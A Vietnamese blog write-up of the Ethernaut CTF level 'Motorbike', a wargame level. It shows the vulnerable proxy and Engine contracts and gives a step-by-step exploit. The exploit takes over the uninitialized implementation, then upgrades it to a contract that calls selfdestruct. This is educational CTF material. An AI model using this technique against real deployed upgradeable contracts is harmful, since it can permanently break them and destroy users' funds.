KienDT

Talk is cheap. Show me the code.

The Ethernaut writeups: 25 - Motorbike

25. Motorbike

Nhiệm vụ: Phá hỏng engine của chiếc xe máy.

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

Phân tích

  • Khuyến khích bạn đọc nên tìm hiểu về Upgradable Pattern & hiểu rõ delegatecall trước khi bắt đầu.
  • Ở đây ta lại có một đề bài gây lú nữa: phá hỏng engine là phá hỏng bản thân contract Motorbike (do Motorbike là contract proxy còn Engine chỉ là contract implement) hay là phá hỏng chính contract Engine? Và bài toán đúng là phá hỏng contract Engine. Ban đầu mình hiểu nhầm là phá hỏng contract Motorbike - dẫn đến mất rất nhiều công mày mò và nhận ra rằng mình đã hiểu sai một đề bài khó hiểu.
  • Ta thấy rằng contract Engine được implement theo Initializable, có nghĩa là hàm initialize() sẽ chỉ được gọi một lần mà thôi. Do đó nếu ta thử contract.initialize() thì sẽ gặp lỗi ngay, vì nó đã được gọi 1 lần khi deploy rồi. Nhưng đây chính là trick của bài này, và cũng chính là trick đối với upgradable contract.
  • Ta gặp lỗi khi gọi contract.initialize(), đó là do ta đang đứng ở vị trí của Motorbike, tức proxy gọi đến implement là Engine thông qua delegatecall. Chứ không phải bản thân contract Engine gọi đến nó. Có nghĩa là contract Engine chưa thực hiện bất cứ lời gọi nào cả.

Ta có solution như sau:

  • Tìm địa chỉ của contract Engine và load contract lên Remix.
  • gọi initialize để thay đổi upgrader
  • chuẩn bị một contract khác có hàm gọi selfdestruct để hủy contract.
  • upgrade engine lên contract đó và gọi hàm để hủy contract.

Solution

  • tìm địa chỉ của Engine tại _IMPLEMENTATION_SLOT của proxy
await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc');
> '0x000000000000000000000000132a41a07d074fb9dcedd88088e7871be335e1e9'
  • ở đây contract của Engine chính là 0x132a41a07d074fb9dcedd88088e7871be335e1e9

  • load contract lên Remix và gọi hàm initialize, sau đó kiểm tra xem upgrader là mình hay chưa

initialize

  • Chuẩn bị contract Rekt như sau và deploy
contract Rekt {
    function boom() external {
        selfdestruct(tx.origin);
    }
}
  • để gọi hàm boom từ lowlevel call, ta cần convert nó sang dạng function signature
web3.eth.abi.encodeFunctionSignature("boom()");
> '0xa169ce09'
  • quay lại Remix và gọi hàm upgradeToAndCall

boom

  • Engine đã đươc phá hủy, submit & all done!

completed